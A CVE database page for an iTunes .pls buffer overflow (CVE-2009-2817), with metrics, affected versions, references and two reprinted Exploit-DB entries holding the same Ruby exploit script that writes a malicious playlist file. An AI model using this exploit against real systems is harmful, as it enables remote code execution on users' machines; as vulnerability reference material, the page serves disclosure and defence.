CVE-2009-2817 : Detail

CVE-2009-2817

Overflow
8.9%V3
Network
2009-09-24
16h00 +00:00
2017-09-18
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in Apple iTunes before 9.0.1 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted .pls file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 11491

Publication date : 2010-02-16 23h00 +00:00
Author : S2 Crew
EDB Verified : Yes

# Exploit Title: iTunes .pls file handling buffer overflow # Date: 2009.12.20 # Author: S2 Crew [Hungary] # Software Link: - # Version: 9.0 # Tested on: OSX 10.5.8, Windows XP SP2
 (/GS flag, DOS) # CVE: CVE-2009-2817 # Code: #!/usr/bin/env ruby SETJMP = 0x92F04224 JMP_BUF = 0x8fe31290 STRDUP = 0x92EED110 # 8fe24459 jmp *%eax JMP_EAX = 0x8fe24459 def make_exec_payload_from_heap_stub() frag0 = "\x90" + # nop "\x58" + # pop eax "\x61" + # popa "\xc3" # ret frag1 = "\x90" + # nop "\x58" + # pop eax "\x89\xe0" + # mov eax, esp "\x83\xc0\x0c" + # add eax, byte +0xc "\x89\x44\x24\x08" + # mov [esp+0x8], eax "\xc3" # ret exec_payload_from_heap_stub = frag0 + [SETJMP, JMP_BUF + 32, JMP_BUF].pack("V3") + frag1 + "X" * 20 + [SETJMP, JMP_BUF + 24, JMP_BUF, STRDUP, JMP_EAX].pack("V5") + "X" * 4 end payload_cmd = "hereisthetrick" stub = make_exec_payload_from_heap_stub() ext = "A" * 59 stub = make_exec_payload_from_heap_stub() exploit = ext + stub + payload_cmd # pls file format file = "[playlist]\n" file += "NumberOfEntries=1\n" file += "File1=http://1/asdf." + exploit + "\n" file += "Title1=asdf\n" file += "Length1=100\n" file += "Version=2" + '\n' File.open('poc.pls','w') do |f| f.puts file f.close end
Exploit Database EDB-ID : 33235

Publication date : 2009-09-21 22h00 +00:00
Author : Roger Hart
EDB Verified : Yes

source: https://www.securityfocus.com/bid/36478/info Apple iTunes is prone to a buffer-overflow vulnerability because the software fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer. An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. Versions prior to Apple iTunes 9.0.1 are vulnerable. #!/usr/bin/env ruby SETJMP = 0x92F04224 JMP_BUF = 0x8fe31290 STRDUP = 0x92EED110 # 8fe24459 jmp *%eax JMP_EAX = 0x8fe24459 def make_exec_payload_from_heap_stub() frag0 = "\x90" + # nop "\x58" + # pop eax "\x61" + # popa "\xc3" # ret frag1 = "\x90" + # nop "\x58" + # pop eax "\x89\xe0" + # mov eax, esp "\x83\xc0\x0c" + # add eax, byte +0xc "\x89\x44\x24\x08" + # mov [esp+0x8], eax "\xc3" # ret exec_payload_from_heap_stub = frag0 + [SETJMP, JMP_BUF + 32, JMP_BUF].pack("V3") + frag1 + "X" * 20 + [SETJMP, JMP_BUF + 24, JMP_BUF, STRDUP, JMP_EAX].pack("V5") + "X" * 4 end payload_cmd = "hereisthetrick" stub = make_exec_payload_from_heap_stub() ext = "A" * 59 stub = make_exec_payload_from_heap_stub() exploit = ext + stub + payload_cmd # pls file format file = "[playlist]\n" file += "NumberOfEntries=1\n" file += "File1=http://1/asdf." + exploit + "\n" file += "Title1=asdf\n" file += "Length1=100\n" file += "Version=2" + '\n' File.open('poc.pls','w') do |f| f.puts file f.close end

Products Mentioned

Configuraton 0

Apple>>Itunes >> Version To (including) 9.0

Apple>>Itunes >> Version To (including) 9.0

Apple>>Itunes >> Version 1.0

    Apple>>Itunes >> Version 1.0

      Apple>>Itunes >> Version 1.0

        Apple>>Itunes >> Version 1.1.1

          Apple>>Itunes >> Version 1.1.1

            Apple>>Itunes >> Version 1.1.1

              Apple>>Itunes >> Version 1.1.2

                Apple>>Itunes >> Version 1.1.2

                  Apple>>Itunes >> Version 1.1.2

                    Apple>>Itunes >> Version 2.0

                      Apple>>Itunes >> Version 2.0

                        Apple>>Itunes >> Version 2.0

                          Apple>>Itunes >> Version 2.0.1

                            Apple>>Itunes >> Version 2.0.1

                              Apple>>Itunes >> Version 2.0.1

                                Apple>>Itunes >> Version 2.0.2

                                  Apple>>Itunes >> Version 2.0.2

                                    Apple>>Itunes >> Version 2.0.2

                                      Apple>>Itunes >> Version 2.0.3

                                        Apple>>Itunes >> Version 2.0.3

                                          Apple>>Itunes >> Version 2.0.3

                                            Apple>>Itunes >> Version 2.0.4

                                              Apple>>Itunes >> Version 2.0.4

                                                Apple>>Itunes >> Version 2.0.4

                                                  Apple>>Itunes >> Version 3.0

                                                    Apple>>Itunes >> Version 3.0.1

                                                      Apple>>Itunes >> Version 4.0

                                                        Apple>>Itunes >> Version 4.0.0

                                                        Apple>>Itunes >> Version 4.0.0

                                                        Apple>>Itunes >> Version 4.0.1

                                                        Apple>>Itunes >> Version 4.0.1

                                                        Apple>>Itunes >> Version 4.0.1

                                                        Apple>>Itunes >> Version 4.1

                                                          Apple>>Itunes >> Version 4.1.0

                                                          Apple>>Itunes >> Version 4.1.0

                                                          Apple>>Itunes >> Version 4.2

                                                            Apple>>Itunes >> Version 4.2.0

                                                            Apple>>Itunes >> Version 4.2.0

                                                            Apple>>Itunes >> Version 4.2.72

                                                              Apple>>Itunes >> Version 4.5

                                                              Apple>>Itunes >> Version 4.5.0

                                                              Apple>>Itunes >> Version 4.5.0

                                                              Apple>>Itunes >> Version 4.6

                                                              Apple>>Itunes >> Version 4.6.0

                                                              Apple>>Itunes >> Version 4.6.0

                                                              Apple>>Itunes >> Version 4.7

                                                              Apple>>Itunes >> Version 4.7.0

                                                              Apple>>Itunes >> Version 4.7.0

                                                              Apple>>Itunes >> Version 4.7.1

                                                              Apple>>Itunes >> Version 4.7.1

                                                              Apple>>Itunes >> Version 4.7.1

                                                              Apple>>Itunes >> Version 4.7.1.30

                                                                Apple>>Itunes >> Version 4.8

                                                                  Apple>>Itunes >> Version 4.8.0

                                                                  Apple>>Itunes >> Version 4.8.0

                                                                  Apple>>Itunes >> Version 4.9

                                                                    Apple>>Itunes >> Version 4.9.0

                                                                    Apple>>Itunes >> Version 4.9.0

                                                                    Apple>>Itunes >> Version 5.0

                                                                    Apple>>Itunes >> Version 5.0.0

                                                                    Apple>>Itunes >> Version 5.0.0

                                                                    Apple>>Itunes >> Version 5.0.1

                                                                    Apple>>Itunes >> Version 5.0.1

                                                                    Apple>>Itunes >> Version 5.0.1

                                                                    Apple>>Itunes >> Version 6.0

                                                                      Apple>>Itunes >> Version 6.0.0

                                                                      Apple>>Itunes >> Version 6.0.0

                                                                      Apple>>Itunes >> Version 6.0.1

                                                                      Apple>>Itunes >> Version 6.0.1

                                                                      Apple>>Itunes >> Version 6.0.1

                                                                      Apple>>Itunes >> Version 6.0.2

                                                                      Apple>>Itunes >> Version 6.0.2

                                                                      Apple>>Itunes >> Version 6.0.2

                                                                      Apple>>Itunes >> Version 6.0.3

                                                                      Apple>>Itunes >> Version 6.0.3

                                                                      Apple>>Itunes >> Version 6.0.3

                                                                      Apple>>Itunes >> Version 6.0.4

                                                                      Apple>>Itunes >> Version 6.0.4

                                                                      Apple>>Itunes >> Version 6.0.4

                                                                      Apple>>Itunes >> Version 6.0.4.2

                                                                        Apple>>Itunes >> Version 6.0.5

                                                                        Apple>>Itunes >> Version 6.0.5

                                                                        Apple>>Itunes >> Version 6.0.5

                                                                        Apple>>Itunes >> Version 7.0.0

                                                                        Apple>>Itunes >> Version 7.0.0

                                                                        Apple>>Itunes >> Version 7.0.1

                                                                        Apple>>Itunes >> Version 7.0.1

                                                                        Apple>>Itunes >> Version 7.0.2

                                                                        Apple>>Itunes >> Version 7.0.2

                                                                        Apple>>Itunes >> Version 7.0.2

                                                                        Apple>>Itunes >> Version 7.1.0

                                                                        Apple>>Itunes >> Version 7.1.0

                                                                        Apple>>Itunes >> Version 7.1.1

                                                                        Apple>>Itunes >> Version 7.1.1

                                                                        Apple>>Itunes >> Version 7.2.0

                                                                        Apple>>Itunes >> Version 7.2.0

                                                                        Apple>>Itunes >> Version 7.3.0

                                                                        Apple>>Itunes >> Version 7.3.0

                                                                        Apple>>Itunes >> Version 7.3.1

                                                                        Apple>>Itunes >> Version 7.3.1

                                                                        Apple>>Itunes >> Version 7.3.2

                                                                        Apple>>Itunes >> Version 7.3.2

                                                                        Apple>>Itunes >> Version 7.3.2

                                                                        Apple>>Itunes >> Version 7.4

                                                                        Apple>>Itunes >> Version 7.4.0

                                                                        Apple>>Itunes >> Version 7.4.0

                                                                        Apple>>Itunes >> Version 7.4.1

                                                                        Apple>>Itunes >> Version 7.4.1

                                                                        Apple>>Itunes >> Version 7.4.1

                                                                        Apple>>Itunes >> Version 7.4.2

                                                                        Apple>>Itunes >> Version 7.4.2

                                                                        Apple>>Itunes >> Version 7.4.2

                                                                        Apple>>Itunes >> Version 7.4.3

                                                                        Apple>>Itunes >> Version 7.5

                                                                        Apple>>Itunes >> Version 7.5.0

                                                                        Apple>>Itunes >> Version 7.5.0

                                                                        Apple>>Itunes >> Version 7.6

                                                                          Apple>>Itunes >> Version 7.6.0

                                                                          Apple>>Itunes >> Version 7.6.0

                                                                          Apple>>Itunes >> Version 7.6.1

                                                                          Apple>>Itunes >> Version 7.6.1

                                                                          Apple>>Itunes >> Version 7.6.1

                                                                          Apple>>Itunes >> Version 7.6.2

                                                                          Apple>>Itunes >> Version 7.6.2

                                                                          Apple>>Itunes >> Version 7.6.2

                                                                          Apple>>Itunes >> Version 7.7

                                                                            Apple>>Itunes >> Version 7.7.0

                                                                            Apple>>Itunes >> Version 7.7.0

                                                                            Apple>>Itunes >> Version 7.7.1

                                                                            Apple>>Itunes >> Version 7.7.1

                                                                            Apple>>Itunes >> Version 7.7.1

                                                                            Apple>>Itunes >> Version 8.0

                                                                              Apple>>Itunes >> Version 8.0

                                                                                Apple>>Itunes >> Version 8.0

                                                                                  Apple>>Itunes >> Version 8.0.0

                                                                                  Apple>>Itunes >> Version 8.0.0

                                                                                  Apple>>Itunes >> Version 8.0.1

                                                                                  Apple>>Itunes >> Version 8.0.2

                                                                                    Apple>>Itunes >> Version 8.0.2

                                                                                      Apple>>Itunes >> Version 8.1

                                                                                        Apple>>Itunes >> Version 8.1

                                                                                          Apple>>Itunes >> Version 8.1.1

                                                                                            Apple>>Itunes >> Version 8.1.1

                                                                                              Apple>>Itunes >> Version 8.2

                                                                                                Apple>>Itunes >> Version 8.2

                                                                                                  Apple>>Itunes >> Version 8.2.1

                                                                                                    Apple>>Itunes >> Version 8.2.1

                                                                                                      References

                                                                                                      http://support.apple.com/kb/HT3884
                                                                                                      Tags : x_refsource_CONFIRM
                                                                                                      http://www.securityfocus.com/bid/36478
                                                                                                      Tags : vdb-entry, x_refsource_BID